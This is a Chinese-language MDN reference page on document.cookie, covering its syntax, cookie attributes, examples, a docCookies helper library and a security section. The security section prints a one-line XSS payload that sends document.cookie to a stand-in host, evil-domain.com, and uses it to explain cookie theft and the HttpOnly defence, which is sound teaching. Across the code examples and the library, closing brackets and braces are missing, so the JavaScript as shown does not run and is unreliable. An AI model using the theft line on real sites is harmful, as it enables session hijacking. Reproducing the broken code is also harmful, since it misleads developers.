Document.cookie

Baseline Widely available

This feature is well established and works across many devices and browser versions. It’s been available across browsers since July 2019 .

获取并设置与当前文档相关联的 cookie 。可以把它当成一个 getter and setter

语法

js
allCookies = document.cookie;

在上面的代码中,allCookies 被赋值为一个字符串,该字符串包含所有的 Cookie,每条 cookie 以"分号和空格 (; )"分隔 (即, key=value 键值对)。

js
document.cookie = newCookie;

newCookie 是一个键值对形式的字符串。需要注意的是,用这个方法一次只能对一个 cookie 进行设置或更新。

以下可选的 cookie 属性值可以跟在键值对后,用来具体化对 cookie 的设定/更新,使用分号以作分隔:

;path=path (例如 '/', '/mydir') 如果没有定义,默认为当前文档位置的路径。

;domain=domain (例如 'example.com', 'subdomain.example.com') 如果没有定义,默认为当前文档位置的路径的域名部分。与早期规范相反的是,在域名前面加 . 符将会被忽视,因为浏览器也许会拒绝设置这样的 cookie。如果指定了一个域,那么子域也包含在内。

;max-age=max-age-in-seconds (例如一年为 60*60*24*365)

;expires=date-in-GMTString-format 如果没有定义,cookie 会在对话结束时过期

  • 这个值的格式参见Date.toUTCString()
  • ;secure (cookie 只通过 https 协议传输)

    在 Gecko 6.0 前,被引号括起的路径的引号会被当做路径的一部分,而不是被当做定界符。现在已被修复。

    示例

    示例 1: 简单用法

    js
    document.cookie = "name=oeschger";
    document.cookie = "favorite_food=tripe";
    alert(document.cookie);
    // 显示:name=oeschger;favorite_food=tripe
    
    js
    document.cookie = "test1=Hello";
    document.cookie = "test2=World";
    var myCookie = document.cookie.replace(
      /(?:(?:^|.*;\s*)test2\s*\=\s*([^;]*).*$)|^.*$/,
      "$1",
    alert(myCookie);
    // 显示:World
    

    示例 3: 只执行某事一次

    要使下面的代码工作,请替换所有 someCookieName (cookie 的名字) 为自定义的名字。

    js
    if (document.cookie.replace(/(?:(?:^|.*;\s*)someCookieName\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "true") {
      alert("Do something here!");
      document.cookie = "someCookieName=true; expires=Fri, 31 Dec 9999 23:59:59 GMT; path=/";
    

    作为一个格式化过的字符串,cookie 的值有时很难被自然地处理。下面的库的目的是通过定义一个和 Storage 对象 部分一致的对象(docCookies),简化 document.cookie 的获取方法。它提供完全的 Unicode 支持。

    js
    /*\
    |*|  :: cookies.js ::
    |*|  A complete cookies reader/writer framework with full unicode support.
    |*|  https://developer.mozilla.org/zh-CN/docs/DOM/document.cookie
    |*|  This framework is released under the GNU Public License, version 3 or later.
    |*|  http://www.gnu.org/licenses/gpl-3.0-standalone.html
    |*|  Syntaxes:
    |*|  * docCookies.setItem(name, value[, end[, path[, domain[, secure]]]])
    |*|  * docCookies.getItem(name)
    |*|  * docCookies.removeItem(name[, path], domain)
    |*|  * docCookies.hasItem(name)
    |*|  * docCookies.keys()
    var docCookies = {
      getItem: function (sKey) {
        return (
          decodeURIComponent(
            document.cookie.replace(
              new RegExp(
                "(?:(?:^|.*;)\\s*" +
                  encodeURIComponent(sKey).replace(/[-.+*]/g, "\\$&") +
                  "\\s*\\=\\s*([^;]*).*$)|^.*$",
              "$1",
          ) || null
      setItem: function (sKey, sValue, vEnd, sPath, sDomain, bSecure) {
        if (!sKey || /^(?:expires|max\-age|path|domain|secure)$/i.test(sKey)) {
          return false;
        var sExpires = "";
        if (vEnd) {
          switch (vEnd.constructor) {
            case Number:
              sExpires =
                vEnd === Infinity
                  ? "; expires=Fri, 31 Dec 9999 23:59:59 GMT"
                  : "; max-age=" + vEnd;
              break;
            case String:
              sExpires = "; expires=" + vEnd;
              break;
            case Date:
              sExpires = "; expires=" + vEnd.toUTCString();
              break;
        document.cookie =
          encodeURIComponent(sKey) +
          "=" +
          encodeURIComponent(sValue) +
          sExpires +
          (sDomain ? "; domain=" + sDomain : "") +
          (sPath ? "; path=" + sPath : "") +
          (bSecure ? "; secure" : "");
        return true;
      removeItem: function (sKey, sPath, sDomain) {
        if (!sKey || !this.hasItem(sKey)) {
          return false;
        document.cookie =
          encodeURIComponent(sKey) +
          "=; expires=Thu, 01 Jan 1970 00:00:00 GMT" +
          (sDomain ? "; domain=" + sDomain : "") +
          (sPath ? "; path=" + sPath : "");
        return true;
      hasItem: function (sKey) {
        return new RegExp(
          "(?:^|;\\s*)" +
            encodeURIComponent(sKey).replace(/[-.+*]/g, "\\$&") +
            "\\s*\\=",
        ).test(document.cookie);
      keys: /* optional method: you can safely remove it! */ function () {
        var aKeys = document.cookie
          .replace(/((?:^|\s*;)[^\=]+)(?=;|$)|^\s*|\s*(?:\=[^;]*)?(?:\1|$)/g, "")
          .split(/\s*(?:\=[^;]*)?;\s*/);
        for (var nIdx = 0; nIdx < aKeys.length; nIdx++) {
          aKeys[nIdx] = decodeURIComponent(aKeys[nIdx]);
        return aKeys;
    对于永久 cookie 我们用了Fri, 31 Dec 9999 23:59:59 GMT作为过期日。如果你不想使用这个日期,可使用*世界末日*Tue, 19 Jan 2038 03:14:07 GMT,它是 32 位带符号整数能表示从 1 January 1970 00:00:00 UTC 开始的最大秒长 (即01111111111111111111111111111111, 是 new Date(0x7fffffff * 1e3)).

    语法
    js
    docCookies.setItem(name, value[, end[, path[, domain[, secure]]]])
    

    创建或覆盖一个 cookie

    name (必要)

    要创建或覆盖的 cookie 的名字 (string)。

    value (必要)

    cookie 的值 (string)。

    end (可选)

    最大年龄的秒数 (一年为 31536e3,永不过期的 cookie 为Infinity) ,或者过期时间的 GMTString 格式或Date 对象; 如果没有定义则会在会话结束时过期 (number – 有限的或 Infinitystring, Date object or null)。

    path (可选)

    例如 '/', '/mydir'。如果没有定义,默认为当前文档位置的路径。(string or null)。路径必须为绝对路径(参见 RFC 2965)。关于如何在这个参数使用相对路径的方法请参见这段

    domain (可选)

    例如 'example.com','.example.com' (包括所有子域名), 'subdomain.example.com'。如果没有定义,默认为当前文档位置的路径的域名部分 (stringnull)。

    secure (可选)

    cookie 只会被 https 传输 (booleannull)。

    语法
    js
    docCookies.getItem(name)
    

    读取一个 cookie。如果 cookie 不存在返回null

    读取的 cookie 名 (string).

    Syntax
    js
    docCookies.removeItem(name[, path],domain)
    

    删除一个 cookie。

    要移除的 cookie 名 (string).

    path (可选)

    例如 '/', '/mydir'。如果没有定义,默认为当前文档位置的路径。(string or null)。路径必须为绝对路径(参见 RFC 2965)。关于如何在这个参数使用相对路径的方法请参见这段

    domain (可选)

    例如 'example.com', '.example.com' (包括所有子域名), 'subdomain.example.com'。如果没有定义,默认为当前文档位置的路径的域名部分 (stringnull)。

    语法
    js
    docCookies.hasItem(name)
    

    检查一个 cookie 是否存在

    要检查的 cookie 名 (string).

    语法
    js
    docCookies.keys()
    

    返回一个这个路径所有可读的 cookie 的数组。

    示例用法:

    js
    docCookies.setItem("test0", "Hello world!");
    docCookies.setItem(
      "test1",
      "Unicode test: \u00E0\u00E8\u00EC\u00F2\u00F9",
      Infinity,
    docCookies.setItem("test2", "Hello world!", new Date(2020, 5, 12));
    docCookies.setItem("test3", "Hello world!", new Date(2027, 2, 3), "/blog");
    docCookies.setItem("test4", "Hello world!", "Sun, 06 Nov 2022 21:43:15 GMT");
    docCookies.setItem(
      "test5",
      "Hello world!",
      "Tue, 06 Dec 2022 13:11:07 GMT",
      "/home",
    docCookies.setItem("test6", "Hello world!", 150);
    docCookies.setItem("test7", "Hello world!", 245, "/content");
    docCookies.setItem("test8", "Hello world!", null, null, "example.com");
    docCookies.setItem("test9", "Hello world!", null, null, null, true);
    docCookies.setItem("test1;=", "Safe character test;=", Infinity);
    alert(docCookies.keys().join("\n"));
    alert(docCookies.getItem("test1"));
    alert(docCookies.getItem("test5"));
    docCookies.removeItem("test1");
    docCookies.removeItem("test5", "/home");
    alert(docCookies.getItem("test1"));
    alert(docCookies.getItem("test5"));
    alert(docCookies.getItem("unexistingCookie"));
    alert(docCookies.getItem());
    alert(docCookies.getItem("test1;="));
    

    安全

    路径限制并 不能 阻止从其他路径访问 cookie. 使用简单的 DOM 即可轻易地绕过限制 (比如创建一个指向限制路径的,隐藏的 iframe , 然后访问其 contentDocument.cookie 属性). 保护 cookie 不被非法访问的唯一方法是将它放在另一个域名/子域名之下,利用 同源策略 保护其不被读取。

    Web 应用程序通常使用 cookies 来标识用户身份及他们的登录会话。因此通过窃听这些 cookie,就可以劫持已登录用户的会话。窃听的 cookie 的常见方法包括社会工程和 XSS 攻击 -

    js
    new Image().src =
      "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
    

    HttpOnly 属性可以阻止通过 javascript 访问 cookie,从而一定程度上遏制这类攻击。参见 Cookies and Security.

    备注